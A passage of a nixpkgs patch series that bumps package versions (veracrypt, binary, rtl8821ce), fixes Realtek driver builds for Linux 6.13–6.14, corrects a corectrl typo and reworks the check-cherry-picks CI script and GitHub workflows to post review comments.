diff --git a/pkgs/os-specific/linux/rtl8821ce/default.nix b/pkgs/os-specific/linux/rtl8821ce/default.nix
index 7d7be5880f77..c4b88cefaea6 100644
--- a/pkgs/os-specific/linux/rtl8821ce/default.nix
+++ b/pkgs/os-specific/linux/rtl8821ce/default.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rtl8821ce";
-  version = "0-unstable-2025-05-02";
+  version = "0-unstable-2025-05-31";
 
   src = fetchFromGitHub {
     owner = "tomaspinho";
     repo = "rtl8821ce";
-    rev = "6208d1dd190b7cb60bbbf760505bcb1c250518c2";
-    hash = "sha256-d2KWiUxx3/rZvobOzvK5nyGdovovOf8g2MaEd2QW+Pc=";
+    rev = "66c015af7738039a2045b6da755875e126d3fe73";
+    hash = "sha256-JU8ge2QpoR6nJe5G93iTEP7WOU6tLb4NJ1QrkEYUXRA=";
   };
 
   hardeningDisable = [ "pic" ];

From d93825ecb798beecdda3222fe9bad6f29a49843f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 00:30:41 +0000
Subject: [PATCH 0388/4511] veracrypt: 1.26.20 -> 1.26.24

(cherry picked from commit dd1835a3caec4958c6281c19de203ebb2732beaa)
---
 pkgs/by-name/ve/veracrypt/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/veracrypt/package.nix b/pkgs/by-name/ve/veracrypt/package.nix
index 55b17793e239..d4d749b6645e 100644
--- a/pkgs/by-name/ve/veracrypt/package.nix
+++ b/pkgs/by-name/ve/veracrypt/package.nix
@@ -19,11 +19,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "veracrypt";
-  version = "1.26.20";
+  version = "1.26.24";
 
   src = fetchurl {
     url = "https://launchpad.net/veracrypt/trunk/${finalAttrs.version}/+download/VeraCrypt_${finalAttrs.version}_Source.tar.bz2";
-    hash = "sha256-qhVmQPigzEPuPe3aO8g3lR3HRPLEvdhaXfZAZ4IosRY=";
+    hash = "sha256-f1wgr0KTd6tW97UsqGiTa5kj14T0YG2piGw2KXiQPng=";
   };
 
   patches = [

From 1e11a0a0339c95f3e85e209f1471ef51af1107a9 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:30:40 +0000
Subject: [PATCH 0389/4511] binary: 5.2 -> 5.3

Diff: https://github.com/fizzyizzy05/binary/compare/5.2...5.3

Changelog: https://github.com/fizzyizzy05/binary/releases/tag/5.3
(cherry picked from commit 183002e34811675c4d46b98b958836351c7778b5)
---
 pkgs/by-name/bi/binary/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/binary/package.nix b/pkgs/by-name/bi/binary/package.nix
index b1c9126cdb5b..08c365463467 100644
--- a/pkgs/by-name/bi/binary/package.nix
+++ b/pkgs/by-name/bi/binary/package.nix
@@ -18,14 +18,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "binary";
-  version = "5.2";
+  version = "5.3";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "fizzyizzy05";
     repo = "binary";
     tag = version;
-    hash = "sha256-0pVQMPwy/XXJl2fHQ/gIi+e/cJY87CA9G+GPkdYFQBc=";
+    hash = "sha256-kJLEDE/jHKc/VDGa0lcm4eM7nEMam0fbEW8YJVfc7OY=";
   };
 
   strictDeps = true;

From ae722d7753dbdda73c4eb70e9403f450b80647db Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sun, 25 May 2025 02:08:04 +0200
Subject: [PATCH 0390/4511] linuxPackages.rtl8852au: fix build

for kernels >= 6.13 and 6.14

(cherry picked from commit a6f66b0251e349dffe39c163935cf698f307e2b1)
---
 pkgs/os-specific/linux/rtl8852au/default.nix  |  5 ++
 .../fix-build-for-kernels-6.13-6.14.patch     | 77 +++++++++++++++++++
 2 files changed, 82 insertions(+)
 create mode 100644 pkgs/os-specific/linux/rtl8852au/fix-build-for-kernels-6.13-6.14.patch

diff --git a/pkgs/os-specific/linux/rtl8852au/default.nix b/pkgs/os-specific/linux/rtl8852au/default.nix
index 5adbffc6fba9..8e362dad3e21 100644
--- a/pkgs/os-specific/linux/rtl8852au/default.nix
+++ b/pkgs/os-specific/linux/rtl8852au/default.nix
@@ -27,6 +27,11 @@ stdenv.mkDerivation (finalAttrs: {
     "format"
   ];
 
+  patches = [
+    # https://github.com/lwfinger/rtl8852au/pull/115
+    ./fix-build-for-kernels-6.13-6.14.patch
+  ];
+
   postPatch = ''
     substituteInPlace ./Makefile \
       --replace-fail /sbin/depmod \# \
diff --git a/pkgs/os-specific/linux/rtl8852au/fix-build-for-kernels-6.13-6.14.patch b/pkgs/os-specific/linux/rtl8852au/fix-build-for-kernels-6.13-6.14.patch
new file mode 100644
index 000000000000..bc40520d11fc
--- /dev/null
+++ b/pkgs/os-specific/linux/rtl8852au/fix-build-for-kernels-6.13-6.14.patch
@@ -0,0 +1,77 @@
+From c65ed43f42656aecf43e7ea80c58d204c3c67aca Mon Sep 17 00:00:00 2001
+From: Soham Nandy <soham.nandy2006@gmail.com>
+Date: Fri, 28 Mar 2025 17:24:55 +0530
+Subject: [PATCH 1/2] rtl8852au(fix): remove MODULE_IMPORT and net_device for
+ kernel versions over 6.13
+
+---
+ os_dep/linux/ioctl_cfg80211.c | 3 +++
+ os_dep/osdep_service_linux.c  | 4 ++++
+ 2 files changed, 7 insertions(+)
+
+diff --git a/os_dep/linux/ioctl_cfg80211.c b/os_dep/linux/ioctl_cfg80211.c
+index 2b79c97..277dffb 100755
+--- a/os_dep/linux/ioctl_cfg80211.c
++++ b/os_dep/linux/ioctl_cfg80211.c
+@@ -6350,6 +6350,9 @@ static void rtw_get_chbwoff_from_cfg80211_chan_def(
+ 
+ static int cfg80211_rtw_set_monitor_channel(struct wiphy *wiphy
+ #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 8, 0))
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(6, 13, 0))
++	, struct net_device *dev
++#endif
+ 	, struct cfg80211_chan_def *chandef
+ #else
+ 	, struct ieee80211_channel *chan
+diff --git a/os_dep/osdep_service_linux.c b/os_dep/osdep_service_linux.c
+index fe47c3b..8fdbcfc 100644
+--- a/os_dep/osdep_service_linux.c
++++ b/os_dep/osdep_service_linux.c
+@@ -390,7 +390,9 @@ static int openFile(struct file **fpp, const char *path, int flag, int mode)
+ 	struct file *fp;
+ 
+ #if defined(MODULE_IMPORT_NS)
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0) && LINUX_VERSION_CODE < KERNEL_VERSION(6, 13, 0))
+ 	MODULE_IMPORT_NS(VFS_internal_I_am_really_a_filesystem_and_am_NOT_a_driver);
++#endif
+ #endif
+ 
+ 	fp = filp_open(path, flag, mode);
+@@ -508,7 +510,9 @@ static int isFileReadable(const char *path, u32 *sz)
+ 	char buf;
+ 
+ #if defined(MODULE_IMPORT_NS)
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0) && LINUX_VERSION_CODE < KERNEL_VERSION(6, 13, 0))
+ 	MODULE_IMPORT_NS(VFS_internal_I_am_really_a_filesystem_and_am_NOT_a_driver);
++#endif
+ #endif
+ 
+ 	fp = filp_open(path, O_RDONLY, 0);
+
+From 91d168fc5aa818b4e85aa5b2b43d7f25470e925c Mon Sep 17 00:00:00 2001
+From: Soham Nandy <soham.nandy2006@gmail.com>
+Date: Mon, 7 Apr 2025 10:25:03 +0530
+Subject: [PATCH 2/2] rtl8852au(fix): get_tx_power callback by adding link_id
+ parameter
+
+kernel versions >6.14 cfg80211_ops was updated to include an unsigned
+int link_id parameter.
+---
+ os_dep/linux/ioctl_cfg80211.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/os_dep/linux/ioctl_cfg80211.c b/os_dep/linux/ioctl_cfg80211.c
+index 277dffb..3d7620e 100755
+--- a/os_dep/linux/ioctl_cfg80211.c
++++ b/os_dep/linux/ioctl_cfg80211.c
+@@ -4454,6 +4454,10 @@ static int cfg80211_rtw_set_txpower(struct wiphy *wiphy,
+ static int cfg80211_rtw_get_txpower(struct wiphy *wiphy,
+ #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 8, 0))
+ 	struct wireless_dev *wdev,
++	
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(6,14,0))
++	unsigned int link_id,
++#endif
+ #endif
+ 	int *dbm)
+ {

From d0c441cf08503671e7b7a3fc4fc90b93dd15fb4f Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Mon, 26 May 2025 16:38:08 +0200
Subject: [PATCH 0391/4511] linuxPackages.rtl8852au: only build for x86_64

as it appears that it doesn't work on aarch64. Also, mark as broken on
hardened kernels which are older than 6.*

(cherry picked from commit 79c1cf6a24aeea4d8195263035961c1d23627ebb)
---
 pkgs/os-specific/linux/rtl8852au/default.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/rtl8852au/default.nix b/pkgs/os-specific/linux/rtl8852au/default.nix
index 8e362dad3e21..2002b678b613 100644
--- a/pkgs/os-specific/linux/rtl8852au/default.nix
+++ b/pkgs/os-specific/linux/rtl8852au/default.nix
@@ -60,13 +60,18 @@ stdenv.mkDerivation (finalAttrs: {
     nuke-refs $out/lib/modules/*/kernel/net/wireless/*.ko
   '';
 
+  # GCC 14 makes this an error by default
+  env.NIX_CFLAGS_COMPILE = "-Wno-designated-init";
+
   enableParallelBuilding = true;
 
   meta = with lib; {
     description = "Driver for Realtek 802.11ac, rtl8852au, provides the 8852au mod";
     homepage = "https://github.com/lwfinger/rtl8852au";
     license = licenses.gpl2Only;
-    platforms = platforms.linux;
+    platforms = [ "x86_64-linux" ];
+    # FIX: error: invalid initializer
+    broken = kernel.kernelOlder "6" && kernel.isHardened;
     maintainers = with maintainers; [ lonyelon ];
   };
 })

From 3c2df3aa9f0744ffb78b03a75a414b485f6980d8 Mon Sep 17 00:00:00 2001
From: Christoffer Hald Christensen <chrishald@proton.me>
Date: Sat, 31 May 2025 23:31:17 +0200
Subject: [PATCH 0392/4511] corectrl: Fixed typo in environment variable name

(cherry picked from commit b30085a48b8f429d2ee7eb93887ed2f4cf417b8c)
---
 pkgs/by-name/co/corectrl/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/co/corectrl/package.nix b/pkgs/by-name/co/corectrl/package.nix
index 33dcafd2cf21..fdeaddbd30ab 100644
--- a/pkgs/by-name/co/corectrl/package.nix
+++ b/pkgs/by-name/co/corectrl/package.nix
@@ -72,7 +72,7 @@ stdenv.mkDerivation (finalAttrs: {
     vulkan-tools
   ];
 
-  qrWrapperArgs = [
+  qtWrapperArgs = [
     "--prefix PATH : ${lib.makeBinPath finalAttrs.runtimeInputs}"
   ];
 

From 6388b8f4b57b93b822e6a812e40d13cdf44ea861 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 19:22:31 +0200
Subject: [PATCH 0393/4511] ci/check-cherry-picks: remove unused condition

The command substitution style we recently switched to strips trailing
newlines, so we don't need to check for empty lines anymore.

(cherry picked from commit 4c345b2fb4857b46b97c6ef89464f1be4d427c2b)
---
 ci/check-cherry-picks.sh | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index e7c9e289b22b..cc6c19a0ac43 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -20,9 +20,6 @@ remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
 commits="$(git rev-list --reverse "$1..$2")"
 
 while read -r new_commit_sha ; do
-  if [ -z "$new_commit_sha" ] ; then
-    continue  # skip empty lines
-  fi
   if [ "$GITHUB_ACTIONS" = 'true' ] ; then
     echo "::group::Commit $new_commit_sha"
   else

From fff9467433f23673d9142b2cf506bbd8c3eb3c4c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 19:56:33 +0200
Subject: [PATCH 0394/4511] ci/check-cherry-picks: set -u

(cherry picked from commit 30600ac6d13c0533667edbec8f2bf9977cf1039e)
---
 ci/check-cherry-picks.sh | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index cc6c19a0ac43..cd67c43d2822 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -1,7 +1,7 @@
 #!/usr/bin/env bash
 # Find alleged cherry-picks
 
-set -eo pipefail
+set -euo pipefail
 
 if [ $# != "2" ] ; then
   echo "usage: check-cherry-picks.sh base_rev head_rev"
@@ -20,7 +20,7 @@ remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
 commits="$(git rev-list --reverse "$1..$2")"
 
 while read -r new_commit_sha ; do
-  if [ "$GITHUB_ACTIONS" = 'true' ] ; then
+  if [ -v GITHUB_ACTIONS ] ; then
     echo "::group::Commit $new_commit_sha"
   else
     echo "================================================="
@@ -34,7 +34,7 @@ while read -r new_commit_sha ; do
     | grep -Eoi -m1 '[0-9a-f]{40}' || true
   )
   if [ -z "$original_commit_sha" ] ; then
-    if [ "$GITHUB_ACTIONS" = 'true' ] ; then
+    if [ -v GITHUB_ACTIONS ] ; then
       echo ::endgroup::
       echo -n "::error ::"
     else
@@ -72,7 +72,7 @@ while read -r new_commit_sha ; do
         '
 
         if $range_diff_common --no-color 2> /dev/null | grep -E '^ {4}[+-]{2}' > /dev/null ; then
-          if [ "$GITHUB_ACTIONS" = 'true' ] ; then
+          if [ -v GITHUB_ACTIONS ] ; then
             echo ::endgroup::
             echo -n "::warning ::"
           else
@@ -88,7 +88,7 @@ while read -r new_commit_sha ; do
         else
           echo "  ✔ $original_commit_sha highly similar to $new_commit_sha"
           $range_diff_common --color
-          [ "$GITHUB_ACTIONS" = 'true' ] && echo ::endgroup::
+          [ -v GITHUB_ACTIONS ] && echo ::endgroup::
         fi
 
         # move on to next commit
@@ -97,7 +97,7 @@ while read -r new_commit_sha ; do
     done <<< "$branches"
   done
 
-  if [ "$GITHUB_ACTIONS" = 'true' ] ; then
+  if [ -v GITHUB_ACTIONS ] ; then
     echo ::endgroup::
     echo -n "::error ::"
   else

From 290b336eb20ee4a5238e6557259b2062238dbb92 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 20:03:54 +0200
Subject: [PATCH 0395/4511] ci/check-cherry-picks: refactor output / logging

This way it's a bit more centralized and easier to extend.

(cherry picked from commit 6054a8f2175e0c0b0bf18f76fc080b08a3db52a7)
---
 ci/check-cherry-picks.sh | 58 +++++++++++++++++++++++-----------------
 1 file changed, 33 insertions(+), 25 deletions(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index cd67c43d2822..4d91502e3551 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -19,6 +19,29 @@ remote="$(git remote -v | grep -i 'NixOS/nixpkgs' | head -n1 | cut -f1 || true)"
 
 commits="$(git rev-list --reverse "$1..$2")"
 
+log() {
+  type="$1"
+  shift 1
+
+  local -A prefix
+  prefix[success]="  ✔ "
+  if [ -v GITHUB_ACTIONS ]; then
+    prefix[warning]="::warning::"
+    prefix[error]="::error::"
+  else
+    prefix[warning]="  ⚠ "
+    prefix[error]="  ✘ "
+  fi
+
+  echo "${prefix[$type]}$@"
+}
+
+endgroup() {
+  if [ -v GITHUB_ACTIONS ] ; then
+    echo ::endgroup::
+  fi
+}
+
 while read -r new_commit_sha ; do
   if [ -v GITHUB_ACTIONS ] ; then
     echo "::group::Commit $new_commit_sha"
@@ -34,13 +57,8 @@ while read -r new_commit_sha ; do
     | grep -Eoi -m1 '[0-9a-f]{40}' || true
   )
   if [ -z "$original_commit_sha" ] ; then
-    if [ -v GITHUB_ACTIONS ] ; then
-      echo ::endgroup::
-      echo -n "::error ::"
-    else
-      echo -n "  ✘ "
-    fi
-    echo "Couldn't locate original commit hash in message"
+    endgroup
+    log error "Couldn't locate original commit hash in message"
     echo "Note this should not necessarily be treated as a hard fail, but a reviewer's attention should" \
       "be drawn to it and github actions have no way of doing that but to raise a 'failure'"
     problem=1
@@ -62,8 +80,6 @@ while read -r new_commit_sha ; do
 
     while read -r picked_branch ; do
       if git merge-base --is-ancestor "$original_commit_sha" "$picked_branch" ; then
-        echo "  ✔ $original_commit_sha present in branch $picked_branch"
-
         range_diff_common='git --no-pager range-diff
           --no-notes
           --creation-factor=100
@@ -72,13 +88,9 @@ while read -r new_commit_sha ; do
         '
 
         if $range_diff_common --no-color 2> /dev/null | grep -E '^ {4}[+-]{2}' > /dev/null ; then
-          if [ -v GITHUB_ACTIONS ] ; then
-            echo ::endgroup::
-            echo -n "::warning ::"
-          else
-            echo -n "  ⚠ "
-          fi
-          echo "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection:"
+          log success "$original_commit_sha present in branch $picked_branch"
+          endgroup
+          log warning "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection:"
 
           $range_diff_common --color
 
@@ -86,9 +98,10 @@ while read -r new_commit_sha ; do
             "be drawn to it and github actions have no way of doing that but to raise a 'failure'"
           problem=1
         else
-          echo "  ✔ $original_commit_sha highly similar to $new_commit_sha"
+          log success "$original_commit_sha present in branch $picked_branch"
+          log success "$original_commit_sha highly similar to $new_commit_sha"
           $range_diff_common --color
-          [ -v GITHUB_ACTIONS ] && echo ::endgroup::
+          endgroup
         fi
 
         # move on to next commit
@@ -97,13 +110,8 @@ while read -r new_commit_sha ; do
     done <<< "$branches"
   done
 
-  if [ -v GITHUB_ACTIONS ] ; then
-    echo ::endgroup::
-    echo -n "::error ::"
-  else
-    echo -n "  ✘ "
-  fi
-  echo "$original_commit_sha not found in any pickable branch"
+  endgroup
+  log error "$original_commit_sha not found in any pickable branch"
 
   problem=1
 done <<< "$commits"

From 5b8b5708ce42b04bfd76f24c9cf2dce6ebbdd9fd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 18:21:33 +0200
Subject: [PATCH 0396/4511] ci/check-cherry-picks: improve formatting of
 failure reports

(cherry picked from commit 3dff9c34c0e182dc6402ba94c0e4ff0c04dd0500)
---
 ci/check-cherry-picks.sh | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 4d91502e3551..f00011915dcd 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -92,7 +92,8 @@ while read -r new_commit_sha ; do
           endgroup
           log warning "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection:"
 
-          $range_diff_common --color
+          # First line contains commit SHAs, which we already printed.
+          $range_diff_common --color | tail -n +2
 
           echo "Note this should not necessarily be treated as a hard fail, but a reviewer's attention should" \
             "be drawn to it and github actions have no way of doing that but to raise a 'failure'"

From c971f0dbdc400cd3c91196c5d85e6572b44bb5e2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 28 May 2025 21:16:01 +0200
Subject: [PATCH 0397/4511] workflows/check-cherry-picks: post review comments

Instead of failing the job, the workflow will now post review comments
as "Request Changes". This makes the feedback more readily visible and
avoids having to merge despite a failing CI job. It is also a
pre-requisite to enable required status checks / required workflows in
the future.

Committers are asked to confirm the differences by explicitly dismissing
the generated review. After dismissal, the related review comment will
automatically be marked as "resolved".

The comments only report warnings and errors. Reviews are automatically
dismissed when they have been addressed by the author and no problems
remain. If problems remain, existing, still pending, review comments
will be updated. If the same problems had already been dismissed
earlier, no new review comment will be created either.

(cherry picked from commit 515b174c42ca9f5fa645688d249a00db90c578a0)
---
 .github/workflows/check-cherry-picks.yml | 102 ++++++++++++++++++++++-
 .github/workflows/dismissed-review.yml   |  30 +++++++
 ci/check-cherry-picks.md                 |   7 ++
 ci/check-cherry-picks.sh                 |  37 ++++++--
 4 files changed, 165 insertions(+), 11 deletions(-)
 create mode 100644 .github/workflows/dismissed-review.yml
 create mode 100644 ci/check-cherry-picks.md

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index 3c6ef1d18920..b44027e326d2 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -10,7 +10,8 @@ on:
       - 'staging-**'
       - '!staging-next'
 
-permissions: {}
+permissions:
+  pull-requests: write
 
 jobs:
   check:
@@ -24,8 +25,105 @@ jobs:
           path: trusted
 
       - name: Check cherry-picks
+        id: check
+        continue-on-error: true
         env:
           BASE_SHA: ${{ github.event.pull_request.base.sha }}
           HEAD_SHA: ${{ github.event.pull_request.head.sha }}
         run: |
-          ./trusted/ci/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA"
+          ./trusted/ci/check-cherry-picks.sh "$BASE_SHA" "$HEAD_SHA" checked-cherry-picks.md
+
+      - name: Prepare review
+        if: steps.check.outcome == 'failure'
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { readFile, writeFile } = require('node:fs/promises')
+
+            const job_url = (await github.rest.actions.listJobsForWorkflowRun({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              run_id: context.runId
+            })).data.jobs[0].html_url + '?pr=' + context.payload.pull_request.number
+
+            const header = await readFile('trusted/ci/check-cherry-picks.md')
+            const body = await readFile('checked-cherry-picks.md')
+            const footer =
+              `\n_Hint: The diffs are also available in the [runner logs](${job_url}) with slightly better highlighting._`
+
+            const review = header + body + footer
+            await writeFile('review.md', review)
+            core.summary.addRaw(review)
+            core.summary.write()
+
+      - name: Request changes
+        if: ${{ github.event_name == 'pull_request_target' && steps.check.outcome == 'failure' }}
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { readFile } = require('node:fs/promises')
+            const body = await readFile('review.md', 'utf-8')
+
+            const pendingReview = (await github.paginate(github.rest.pulls.listReviews, {
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: context.payload.pull_request.number
+            })).find(review =>
+              review.user.login == 'github-actions[bot]' && (
+                // If a review is still pending, we can just update this instead
+                // of posting a new one.
+                review.state == 'CHANGES_REQUESTED' ||
+                // No need to post a new review, if an older one with the exact
+                // same content had already been dismissed.
+                review.body == body
+              )
+            )
+
+            if (pendingReview) {
+              await github.rest.pulls.updateReview({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                pull_number: context.payload.pull_request.number,
+                review_id: pendingReview.id,
+                body
+              })
+            } else {
+              await github.rest.pulls.createReview({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                pull_number: context.payload.pull_request.number,
+                event: 'REQUEST_CHANGES',
+                body
+              })
+            }
+
+      - name: Dismiss old reviews
+        if: ${{ github.event_name == 'pull_request_target' && steps.check.outcome == 'success' }}
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            await Promise.all(
+              (await github.paginate(github.rest.pulls.listReviews, {
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                pull_number: context.payload.pull_request.number
+              })).filter(review =>
+                review.user.login == 'github-actions[bot]' &&
+                review.state == 'CHANGES_REQUESTED'
+              ).map(async (review) => {
+                await github.rest.pulls.dismissReview({
+                  owner: context.repo.owner,
+                  repo: context.repo.repo,
+                  pull_number: context.payload.pull_request.number,
+                  review_id: review.id,
+                  message: 'All cherry-picks are good now, thank you!'
+                })
+                await github.graphql(`mutation($node_id:ID!) {
+                  minimizeComment(input: {
+                    classifier: RESOLVED,
+                    subjectId: $node_id
+                  })
+                  { clientMutationId }
+                }`, { node_id: review.node_id })
+              })
+            )
diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
new file mode 100644
index 000000000000..9886dad2b74e
--- /dev/null
+++ b/.github/workflows/dismissed-review.yml
@@ -0,0 +1,30 @@
+name: Dismissed Review
+
+on:
+  pull_request_review:
+    types: [dismissed]
+
+permissions:
+  pull-requests: write
+
+jobs:
+  # The check-cherry-picks workflow creates review comments,
+  # that should sometimes be manually dismissed.
+  # When a CI-generated review is dismissed, this job automatically
+  # minimizes it, to prevent it from cluttering the PR.
+  minimize:
+    name: Minimize as resolved
+    if: github.event.review.user.login == 'github-actions[bot]'
+    runs-on: ubuntu-24.04-arm
+    steps:
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            await github.graphql(`mutation($node_id:ID!) {
+              minimizeComment(input: {
+                classifier: RESOLVED,
+                subjectId: $node_id
+              })
+              { clientMutationId }
+            }`, { node_id: context.payload.review.node_id })
+
diff --git a/ci/check-cherry-picks.md b/ci/check-cherry-picks.md
new file mode 100644
index 000000000000..5af41aadac5e
--- /dev/null
+++ b/ci/check-cherry-picks.md
@@ -0,0 +1,7 @@
+This report is automatically generated by the `check-cherry-picks` CI workflow.
+
+Some of the commits in this PR have not been cherry-picked exactly and require the author's and reviewer's attention.
+
+Please make sure to follow the [backporting guidelines](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#how-to-backport-pull-requests) and cherry-pick with the `-x` flag. This requires changes to go to the unstable branches (`master` / `staging`) first, before backporting them.
+
+Occasionally, it is not possible to cherry-pick exactly the same patch. This most frequently happens when resolving merge conflicts while cherry-picking or when updating minor versions of packages which have already advanced to the next major on unstable. If you need to merge this PR despite the warnings, please [dismiss](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review) this review.
diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index f00011915dcd..e0b278207875 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -3,11 +3,14 @@
 
 set -euo pipefail
 
-if [ $# != "2" ] ; then
-  echo "usage: check-cherry-picks.sh base_rev head_rev"
+if [[ $# != "2" && $# != "3" ]] ; then
+  echo "usage: check-cherry-picks.sh base_rev head_rev [markdown_file]"
   exit 2
 fi
 
+markdown_file="$(realpath ${3:-/dev/null})"
+[ -v 3 ] && rm -f "$markdown_file"
+
 # Make sure we are inside the nixpkgs repo, even when called from outside
 cd "$(dirname "${BASH_SOURCE[0]}")"
 
@@ -34,6 +37,18 @@ log() {
   fi
 
   echo "${prefix[$type]}$@"
+
+  # Only logging errors and warnings, which allows comparing the markdown file
+  # between pushes to the PR. Even if a new, proper cherry-pick, commit is added
+  # it won't change the markdown file's content and thus not trigger another comment.
+  if [ "$type" != "success" ]; then
+    local -A alert
+    alert[warning]="WARNING"
+    alert[error]="CAUTION"
+    echo >> $markdown_file
+    echo "> [!${alert[$type]}]" >> $markdown_file
+    echo "> $@" >> $markdown_file
+  fi
 }
 
 endgroup() {
@@ -58,9 +73,7 @@ while read -r new_commit_sha ; do
   )
   if [ -z "$original_commit_sha" ] ; then
     endgroup
-    log error "Couldn't locate original commit hash in message"
-    echo "Note this should not necessarily be treated as a hard fail, but a reviewer's attention should" \
-      "be drawn to it and github actions have no way of doing that but to raise a 'failure'"
+    log warning "Couldn't locate original commit hash in message of $new_commit_sha."
     problem=1
     continue
   fi
@@ -90,13 +103,19 @@ while read -r new_commit_sha ; do
         if $range_diff_common --no-color 2> /dev/null | grep -E '^ {4}[+-]{2}' > /dev/null ; then
           log success "$original_commit_sha present in branch $picked_branch"
           endgroup
-          log warning "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection:"
+          log warning "Difference between $new_commit_sha and original $original_commit_sha may warrant inspection."
 
           # First line contains commit SHAs, which we already printed.
           $range_diff_common --color | tail -n +2
 
-          echo "Note this should not necessarily be treated as a hard fail, but a reviewer's attention should" \
-            "be drawn to it and github actions have no way of doing that but to raise a 'failure'"
+          echo -e "> <details><summary>Show diff</summary>\n>" >> $markdown_file
+          echo '> ```diff' >> $markdown_file
+          # The output of `git range-diff` is indented with 4 spaces, which we need to match with the
+          # code blocks indent to get proper syntax highlighting on GitHub.
+          $range_diff_common | tail -n +2 | sed -Ee 's/^ {4}/> /g' >> $markdown_file
+          echo '> ```' >> $markdown_file
+          echo "> </details>" >> $markdown_file
+
           problem=1
         else
           log success "$original_commit_sha present in branch $picked_branch"
@@ -112,7 +131,7 @@ while read -r new_commit_sha ; do
   done
 
   endgroup
-  log error "$original_commit_sha not found in any pickable branch"
+  log error "$original_commit_sha given in $new_commit_sha not found in any pickable branch."
 
   problem=1
 done <<< "$commits"

From 343e17a0f469c6e48e2f662239b66acc9fa1e061 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 10:56:29 +0200
Subject: [PATCH 0398/4511] workflows/check-cherry-picks: truncate long diffs
 after 10k characters

GitHub comments have a length limit, so we can't just dump everything.
The 10k limit is arbitrary, but the assumption is that reviewing the
range-diff is not the sensible thing to do once it becomes a certain
size - reviewing the regular diff and treating the commit as "new" is
easier to do in that case. Thus, truncating should work out fine,
especially when the full range-diff is still available in the runner
log.

This could still end up in with an error, if a PR has multiple commits,
which all hit the limit. Let's get there first, before we try to fix
that hypothetical case, too.

(cherry picked from commit 856792f93ef48454c154a728000fe01e2b27f5fd)
---
